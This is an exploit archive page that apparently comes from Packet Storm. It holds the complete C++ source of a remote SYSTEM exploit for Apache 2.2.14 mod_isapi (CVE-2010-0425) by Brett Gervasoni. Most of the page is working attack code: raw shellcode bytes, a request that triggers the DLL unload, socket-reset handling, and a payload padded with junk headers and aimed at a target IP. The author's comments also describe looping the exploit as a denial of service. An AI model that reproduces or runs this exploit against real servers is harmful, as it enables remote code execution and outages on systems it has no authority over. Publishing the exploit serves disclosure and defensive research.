ignorance isn't always an option

Apache 2.2.14 mod_isapi Remote SYSTEM Exploit

Apache 2.2.14 mod_isapi Remote SYSTEM Exploit
Posted Mar 6, 2010
Authored by Brett Gervasoni | Site senseofsecurity.com.au

Apache version 2.2.14 mod_isapi remote SYSTEM exploit. Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause a constant DoS by looping this (since apache will automatically restart).

tags | exploit, remote
systems | windows
advisories | CVE-2010-0425
MD5 | 6584fadc047ded0e288a8ea4445362d5

Apache 2.2.14 mod_isapi Remote SYSTEM Exploit

Change Mirror Download
/*
* Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)
* ------------------------------------------------------------------------------
*
* Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
*
* Description:
* pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.
* Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential
* Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause
* a constant DoS by looping this (since apache will automatically restart) :)
*
* Note that the exploit code may need to be run multiple times before a shell is spawned (70%
* success rate - tested on three different systems). Furthermore, the exploit code may require
* modification to exploit this vulnerability on different platforms. This is due to loaded memory
* references to the unloaded DLL (they will be different for each ISAPI module). Do not test
* this code in a VM otherwise the code may fail to send the RESET packet (something to do with
* VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want
* to have to use raw packets on Windows.
*
* Shellcode Note:
* The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory.
* Most operating systems should be supported by this shellcode. I've used Skylined's method of finding
* the base address of kernel32.dll for Windows 7 and modified it so that it will find the base
* address of msvcrt.dll instead. I've also added another check so that it will be able to detect
* "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this
* DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of
* msvcrt.dll. So the added check will verify the presents of "m" before proceeding.
*
* Author:
* Brett Gervasoni (brettg [at] senseofsecurity.com.au)
*
* Copyright Sense of Security Pty Ltd 2010.
* http://www.senseofsecurity.com.au
*/

#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>

#pragma comment(lib, "wsock32.lib")

using namespace std;

#define SERVER_PORT 80

void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();

WORD sockVersion;
WSADATA wsaData;

int sock;
struct sockaddr_in rserver;

int main(int argc, char *argv[])
{
string serverIP, isapiDLL;
string triggerVuln, payload;
char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299];

//custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory
//Note: There are four NOPs at the end for padding. Not really needed.
char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b"
"\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94"
"\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24"
"\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"
"\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1"
"\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61"
"\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81"
"\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3"
"\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b"
"\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31"
"\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff"
"\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55"
"\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e"
"\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70"
"\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90";

header();

if (argc < 3)
{
printf("usage: %s <ip> <DLL>\n", argv[0]);
return 1;
}

serverIP = string(argv[1]);
isapiDLL = string(argv[2]);

//all these values could be set to 7601 + sizeof(shellcode)
//but mixing it up is good.
memset(accept, 'A', 170);
memset(referer, 'A', 732);
memset(cookie, 'A', 5375);
memset(random, 'A', 7603);
memset(postData, 'A', 23378);
memset(footer, 'A', 298);

triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
"User-Agent: AAAAAAAA\r\n"
"Pragma: no-cache\r\n"
"Proxy-Connection: Keep-Alive\r\n"
"Host: " + serverIP + "\r\n"
"Content-Length: 40334\r\n\r\n" +
string(footer);

//Modify the below request if needed (depending on where your function pointer is pointing)
//Do so by adding or removing headers. So if you want to hit a higher function pointer,
//keep adding headers :)
//Note: If performing this blindly, try it a few times, change a bit, try again.
//During testing i found that using a chunk of data the same size with the same header name
//was more unreliable. In memory, large amounts of nulls are being placed either side of the
//payload. Since the function pointer address was random, by slightly mixing up the size of
//each header i would get better results.
payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
"Accept: " + string(accept) + "\r\n"
"Referer: " + string(referer) + string(shellcode) + "\r\n"
"From: " + string(cookie) + string(shellcode) + "\r\n"
"Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n"
"Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"Cookie: " + string(cookie) + string(shellcode) + "\r\n"
"Host: " + serverIP + "\r\n"
"Proxy-Connection: Keep-Alive\r\n"
"Okytuasd: " + string(cookie) + string(shellcode) + "\r\n"
"Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n"
"Asdasda: " + string(random) + string(shellcode) + "\r\n"
"Sewrwefbui: " + string(random) + string(shellcode) + "\r\n"
"Qdfasdernu: " + string(random) + string(shellcode) + "\r\n"
"Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n"
"Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Content-Length: 25054\r\n\r\n" +
string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);

//Setup connection
if (createConnection(serverIP, SERVER_PORT) == 1)
{
printf("- an error occurred connecting to the server\n");
return 1;
}

printf("[+] Connected to %s.\n", serverIP.c_str());

printf("[+] Setting socket data structure values\n");
int iOptVal;
int aiOptVal;

struct linger linger_data;

//This is meant to set closesocket to do a "graceful close",
//however this is not the case when WSACancelBlockingCall() is called. A RESET packet is
//sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent.
linger_data.l_onoff = 0;
linger_data.l_linger = 0;

setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data));
setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data));

//Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent
getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal);
getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal);
printf(" - SO_LINGER value is set to %ld\n", linger_data.l_onoff);
printf(" - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger);

printf("[*] Triggering DLL unload\n");
sendTransmission(triggerVuln);

Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent.
WSACancelBlockingCall(); //Cause reset packet response

Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable...
closesocket(sock);

Sleep(2000);
WSACleanup();

Sleep(2000);
printf("[+] The DLL should be unloaded by now\n");

//Reconnect to deliver payload
if (createConnection(serverIP, SERVER_PORT) == 1)
{
printf("- an error occurred connecting to the server\n");
return 1;
}

printf("[*] Sending payload\n");
sendTransmission(payload);

cleanUp();

printf("[+] Check to see if sos.txt was created...\n");

return 0;
}

void header()
{
printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n");
printf("-------------------------------------------------------------\n");
printf(" Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n");
printf(" Copyright Sense of Security Pty Ltd 2010.\n");
}

//Setup the server
int createConnection(string serverIP, int port)
{
int result = 0, len = 0;

sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("error: socket()\n");
result = 1;
}

rserver.sin_family = AF_INET;
rserver.sin_port = htons(port);
rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
memset(&rserver.sin_zero, 0, 8);

len = sizeof(struct sockaddr_in);

if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1)
{
perror("error: connect()\n");
result = 1;
}

return result;
}

//Send a message
int sendTransmission(string message)
{
int bytes_sent = 0;

bytes_sent = send(sock, message.c_str(), message.length(), 0);
if (bytes_sent < 0)
{
perror("error: send()\n");
exit(1);
}

return bytes_sent;
}

//Receive a message
string recvTransmission()
{
string result;
char *c = new char[1];
int bytes_recv = 0;

while (c[0] != NULL)
{
bytes_recv = recv(sock, c, 1, 0);

if (bytes_recv < 0)
{
perror("error: recv()\n");
//exit(1);
}

result += c[0];
}

return result;
}

//Clean up the connection
void cleanUp()
{
closesocket(sock);
WSACleanup();
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close